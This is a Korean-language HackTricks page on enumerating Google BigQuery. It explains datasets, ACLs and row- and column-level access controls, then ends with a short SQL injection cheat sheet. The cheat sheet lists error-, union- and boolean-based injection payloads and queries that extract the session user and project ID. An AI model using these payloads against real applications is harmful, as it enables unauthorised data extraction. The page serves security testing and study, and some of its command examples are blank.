GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery는 완전 관리형, 서버리스 엔터프라이즈 데이터 웨어하우스로, 페타바이트의 데이터를 분석할 수 있는 기능을 제공하여 대규모 데이터 세트를 효율적으로 처리합니다. 서비스형 플랫폼(PaaS)으로서, 사용자가 수동 감독 없이 데이터 관리를 용이하게 할 수 있는 인프라와 도구를 제공합니다.
ANSI SQL을 사용하여 쿼리를 지원합니다. 주요 객체는 테이블을 포함하는 데이터세트로, SQL 데이터를 포함합니다.
기본적으로 Google 관리형 암호화 키가 사용되지만, **고객 관리형 암호화 키(CMEK)**를 구성할 수 있습니다. 데이터세트와 데이터세트 내의 테이블별로 암호화 키를 지정할 수 있습니다.
데이터세트에 만료 시간을 지정할 수 있어, 이 데이터세트에서 생성된 새로운 테이블은 생성 후 지정된 일수만큼 자동으로 삭제됩니다.
Bigquery는 다른 Google 서비스와 깊이 통합되어 있습니다. 버킷, pub/sub, Google Drive, RDS 데이터베이스에서 데이터를 로드할 수 있습니다...
데이터세트가 생성될 때 ACL이 첨부되어 접근 권한을 부여합니다. 기본적으로 데이터세트를 생성한 사용자에게 소유자 권한이 부여되고, 그 다음 프로젝트 소유자 그룹인 projectOwners에게 소유자 권한이, projectWriters 그룹에게 작성자 권한이, projectReaders 그룹에게 읽기자 권한이 부여됩니다:
주체가 테이블 내에서 접근할 수 있는 행을 제어하는 것이 가능합니다. 이는 행 접근 정책을 사용하여 정의됩니다. 이러한 정책은 DDL 내에서 테이블 안에 정의됩니다. 접근 정책은 필터를 정의하며, 해당 필터와 일치하는 행만 지정된 주체가 접근할 수 있습니다.
열 수준에서 데이터 접근을 제한하려면:
분류 체계 및 정책 태그 정의. 데이터에 대한 분류 체계 및 정책 태그를 생성하고 관리합니다. https://console.cloud.google.com/bigquery/policy-tags
선택 사항: 생성한 정책 태그 중 하나 이상에 대해 데이터 카탈로그 세분화된 읽기 권한 역할을 하나 이상의 주체에게 부여합니다.
정책 태그를 BigQuery 열에 할당. BigQuery에서 스키마 주석을 사용하여 접근을 제한하려는 각 열에 정책 태그를 할당합니다.
분류 체계에 대한 접근 제어 시행. 접근 제어를 시행하면 분류 체계의 모든 정책 태그에 대해 정의된 접근 제한이 적용됩니다.
정책 태그에 대한 접근 관리. Identity and Access Management (IAM) 정책을 사용하여 각 정책 태그에 대한 접근을 제한합니다. 정책은 정책 태그에 속하는 각 열에 대해 유효합니다.
사용자가 쿼리 시간에 열 데이터를 접근하려고 할 때, BigQuery는 열 정책 태그와 해당 정책을 확인하여 사용자가 데이터에 접근할 수 있는 권한이 있는지 확인합니다.
요약하자면, 일부 사용자가 일부 열에 접근하지 못하도록 하려면 스키마에서 열에 태그를 추가하고 사용자의 태그 접근을 제한하여 태그의 분류 체계에 대한 접근 제어를 시행할 수 있습니다.
분류 체계에 대한 접근 제어를 시행하려면 서비스를 활성화해야 합니다:
열의 태그를 보려면 다음을 사용할 수 있습니다:
추가 정보는 블로그 게시물을 확인하세요: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. 여기서는 몇 가지 세부 정보만 제공됩니다.
주석:
select 1#from here it is not working
select 1/*between those it is not working*/
하지만 초기 것만은 작동하지 않습니다.
select 1--from here it is not working
환경에 대한 정보를 가져옵니다:
현재 사용자: select session_user()
프로젝트 ID: select @@project_id
행 연결:
모든 테이블 이름: string_agg(table_name, ', ')
데이터셋, 테이블 및 열 이름 가져오기:
프로젝트 및 데이터셋 이름:
모든 테이블의 열 및 테이블 이름:
같은 프로젝트의 다른 데이터셋:
SQL Injection types:
Error based - casting: select CAST(@@project_id AS INT64)
Error based - division by zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Union based (you need to use ALL in bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Boolean based: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potential time based - Usage of public datasets example: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentation:
Scripting statements: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)